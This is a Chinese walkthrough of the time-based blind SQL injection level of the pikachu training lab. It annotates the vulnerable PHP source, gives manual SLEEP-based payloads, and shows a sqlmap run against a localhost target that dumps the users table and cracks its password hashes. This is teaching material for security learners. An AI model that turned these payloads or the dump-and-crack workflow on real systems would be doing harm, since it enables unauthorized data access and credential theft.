pikachu靶场通关笔记26 SQL注入09-时间盲注(base on time)
目录
一、SQL注入
二、时间盲注
三、源码分析
四、渗透实战
1、SQL注入探测
(1)输入已有账户
(2)输入不存在账户
(3)sleep函数处理
2、sqlmap渗透
本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对时间盲注(base on time)关卡源码的代码审计找到SQL注入安全风险的真实原因,讲解时间盲注(base on time)的原理并进行渗透实践,本文为SQL注入09之时间盲注(base on time)关卡的渗透部分。
一、SQL注入
SQL注入(SQL Injection)是攻击者通过在应用程序输入参数中插入恶意SQL代码,从而操纵后端数据库查询的网络安全攻击方式。作为OWASP Top 10长期位居榜首的安全威胁,其实质是数据与代码的混淆执行,利用应用程序对用户输入数据的不安全处理,通过精心构造的输入破坏原始SQL语句的逻辑结构,从而实现非授权的数据库操作。
攻击类型 | 技术特点 | 示例 |
---|---|---|
联合查询 | 通过UNION合并数据表 | ' UNION SELECT 1,@@version,3 -- |
报错注入 | 利用数据库错误回显信息 | AND extractvalue(1,concat(0x7e,@@version)) |
布尔盲注 | 根据页面响应差异推断数据 | AND ASCII(SUBSTR((SELECT password),1,1))>97 |
时间盲注 | 通过延时判断条件真假 | IF(1=1,SLEEP(5),0) |
二、时间盲注
时间盲注是一种 SQL 注入技术,常用于在目标应用程序不会返回详细的数据库错误信息或查询结果,仅能通过页面响应时间的变化来推断信息的场景。攻击者借助构造包含时间函数的 SQL 语句,依据页面响应时间的长短来判断构造的条件是否成立,进而逐步获取数据库中的敏感信息。时间盲注的产生原因如下所示。
- 输入验证缺失:应用程序在处理用户输入时,未对输入数据进行严格的验证和过滤,直接将用户输入拼接到 SQL 语句中,使得攻击者能够插入恶意的时间函数和条件判断语句。
- 信息反馈有限:应用程序对 SQL 查询结果的反馈不明确,不返回详细的错误信息或查询结果,攻击者无法通过常规的报错信息或查询结果获取数据,只能利用时间差异来推断信息。
时间盲注的渗透步骤如下所示。
步骤 | 操作内容 |
---|---|
确认注入点 | 先提交正常请求记录响应时间,再提交含特殊字符(如单引号 ' )的请求,观察响应变化。构造简单时间盲注测试,观察页面响应时间是否增加 |
确定数据库类型 | 使用不同数据库的时间函数进行测试,根据页面响应时间判断 |
确定数据库名长度 | 用条件判断结合时间函数,不断改变长度值,根据页面响应时间确定数据库名长度 |
逐字符获取数据库名 | 确定长度后,逐字符判断,改变 ASCII 码值,根据页面响应时间确定字符 |
获取表名信息 | 确定表数量,再获取表名长度和内容 |
获取列名信息 | 确定列数量,再获取列名长度和内容 |
获取数据内容 | 确定表和列后,获取数据长度和内容 |
三、源码分析
打开pikachu靶场的SQL注入-时间盲注型关卡对应的源码sqli_blind_t.php,具体如下所示。
这段 PHP 代码实现了一个简单的用户信息查询功能。当用户通过 GET 方法提交包含 submit 参数和 name 参数的表单时,代码会将 name 参数的值直接拼接到 SQL 查询语句中,从 member 表中查询 username 等于该值的记录的 id 和 email 信息。不过,无论查询结果如何,页面都会显示相同的提示信息 "i don't care who you are!",这使得很难从页面响应判断查询是否成功或存在异常。经过注释后的代码如下所示。
<?php
// 调用 connect 函数建立与数据库的连接,并将连接对象赋值给变量 $link
$link = connect();// 初始化用于存储 HTML 内容的变量,用于后续显示提示信息
$html = '';// 检查是否通过 GET 方法提交了表单,并且表单中名为 'name' 的字段不为空
if (isset($_GET['submit']) && $_GET['name'] != null) {// 直接获取用户通过 GET 方法提交的 'name' 参数值,未对其进行任何处理$name = $_GET['name'];// 构造一个 SQL 查询语句,用于从 member 表中选取 username 等于用户输入值的记录的 id 和 email 字段// 由于 'name' 是字符型,在 SQL 语句中需要用单引号括起来,此处存在 SQL 注入风险$query = "select id,email from member where username='$name'";// 使用 mysqli_query 函数执行构造好的 SQL 查询语句// mysqli_query 函数执行查询时不会打印详细的错误描述,增加了检测注入的难度$result = mysqli_query($link, $query);// 原注释掉的代码,推测可能是执行查询的另一种方式// $result = execute($link, $query);// 原注释掉的代码,若执行会直接添加提示信息到 $html 中// $html.="<p class='notice'>i don't care who you are!</p>";// 检查查询结果集是否有效,并且结果集中的行数是否为 1if ($result && mysqli_num_rows($result) == 1) {// 当结果集中有且仅有一条记录时,使用 while 循环逐行获取结果集的数据while ($data = mysqli_fetch_assoc($result)) {// 从关联数组 $data 中获取 'id' 字段的值,但后续未使用该值$id = $data['id'];// 从关联数组 $data 中获取 'email' 字段的值,但后续未使用该值$email = $data['email'];// 不管查询结果如何,都会添加相同的提示信息到 $html 中,增加了注入判断的难度$html .= "<p class='notice'>i don't care who you are!</p>";}} else {// 如果结果集中没有记录或者查询失败,也添加相同的提示信息到 $html 中$html .= "<p class='notice'>i don't care who you are!</p>";}
}
?>
此代码存在 SQL 时间盲注安全风险,原因在于对用户通过 GET 方法提交的 name 参数未进行任何验证和过滤,直接将其拼接到 SQL 查询语句中。而且,页面无论查询结果怎样都返回相同信息,同时 mysqli_query 不打印错误描述,攻击者无法通过页面返回信息和错误信息判断注入是否成功。但攻击者可以利用数据库的时间函数,通过观察页面响应时间来推断 SQL 语句的执行结果,进而获取数据库中的敏感信息。
四、渗透实战
1、SQL注入探测
(1)输入已有账户
如下所示,当输入存在的账户时,输出内容为"i don't care who you are"。
在浏览器页面,右键元素,然后选择网络,如下所示。
点击重新载入,接下来我们点击这个报文(下图红框内容),然后点击右边的耗时部分,如下可知耗时为毫秒级别。
(2)输入不存在账户
当输入不存在的账户时,以输入“mooyuan---”为主,输出内容为"i don't care who you are",与(1)没有任何区别,如下所示。
接下来我们点击这个报文(下图红框内容),然后点击右边的耗时部分,如下可知耗时依旧为毫秒级别。
(3)sleep函数处理
注入命令设置为lili' and if(length(database())>1,sleep(10),1)#,如下所示。接下来我们点击这个报文(下图红框内容),然后点击右边的耗时部分,如下可知耗时为10秒。根据时间来判断出SQL语句是否执行。
通过观察可知正常只需及几十毫秒,更加说明上一个sleep语句执行成功,即if判断有效(TRUE),也就是说lili这个账号是存在的。
2、sqlmap渗透
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name=liujiannnan&submit=%E6%9F%A5%E8%AF%A2" --current-db --batch --dump
渗透效果如下所示。
GET parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 40 HTTP(s) requests:
---
Parameter: name (GET)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=mooyuan' AND (SELECT 6380 FROM (SELECT(SLEEP(5)))Lsde) AND 'nIsq'='nIsq&submit=%E6%9F%A5%E8%AF%A2
---
[05:35:56] [INFO] the back-end DBMS is MySQL
[05:35:56] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web application technology: Apache 2.4.39, PHP 5.5.9, PHP
back-end DBMS: MySQL >= 5.0.12
[05:35:56] [INFO] fetching current database
[05:35:56] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[05:36:10] [INFO] adjusting time delay to 2 seconds due to good response times
pikachu
current database: 'pikachu'
[05:36:48] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[05:36:48] [INFO] fetching current database
[05:36:48] [INFO] fetching tables for database: 'pikachu'
[05:36:48] [INFO] fetching number of tables for database 'pikachu'
[05:36:48] [INFO] retrieved: 5
[05:36:52] [INFO] retrieved: httpinfo
[05:37:58] [INFO] retrieved: member
[05:38:32] [INFO] retrieved: message
[05:39:02] [INFO] retrieved: users
[05:39:35] [INFO] retrieved: xssblind
[05:54:45] [INFO] fetching entries for table 'users' in database 'pikachu'
[05:54:45] [INFO] fetching number of entries for table 'users' in database 'pikachu'
[05:54:45] [INFO] retrieved: 3
[05:54:53] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
1
[05:55:03] [INFO] retrieved: 1
[05:55:09] [INFO] retrieved: e10ad
[05:55:58] [ERROR] invalid character detected. retrying..
[05:55:58] [WARNING] increasing time delay to 4 seconds
c3949ba59abbe
[05:59:13] [ERROR] invalid character detected. retrying..
[05:59:13] [WARNING] increasing time delay to 5 seconds
56e057f20f883e
[06:03:41] [INFO] retrieved: admin
[06:04:52] [INFO] retrieved: 2
[06:05:10] [INFO] retrieved: 2
[06:05:24] [INFO] retrieved: 670b14728ad9902aecba32e2
[06:11:36] [ERROR] invalid character detected. retrying..
[06:11:36] [WARNING] increasing time delay to 6 seconds
2fa4f6bd
[06:14:22] [INFO] retrieved: pikachu
[06:16:31] [INFO] retrieved: 3
[06:16:48] [INFO] retrieved: 3
[06:17:08] [INFO] retrieved: e99a18c428cb38d5f260853678922e03
[06:28:16] [INFO] retrieved: test
[06:29:43] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[06:29:43] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[06:29:43] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[06:29:43] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[06:29:43] [WARNING] multiprocessing hash cracking is currently not supported on this platform
[06:29:43] [INFO] cracked password '000000' for user 'pikachu'
[06:29:44] [INFO] cracked password '123456' for user 'admin'
[06:29:49] [INFO] cracked password 'abc123' for user 'test'
Database: pikachu
Table: users
[3 entries]
+----+---------+-------------------------------------------+----------+
| id | level | password | username |
+----+---------+-------------------------------------------+----------+
| 1 | 1 | e10adc3949ba59abbe56e057f20f883e (123456) | admin |
| 2 | 2 | 670b14728ad9902aecba32e22fa4f6bd (000000) | pikachu |
| 3 | 3 | e99a18c428cb38d5f260853678922e03 (abc123) | test |
+----+---------+-------------------------------------------+----------+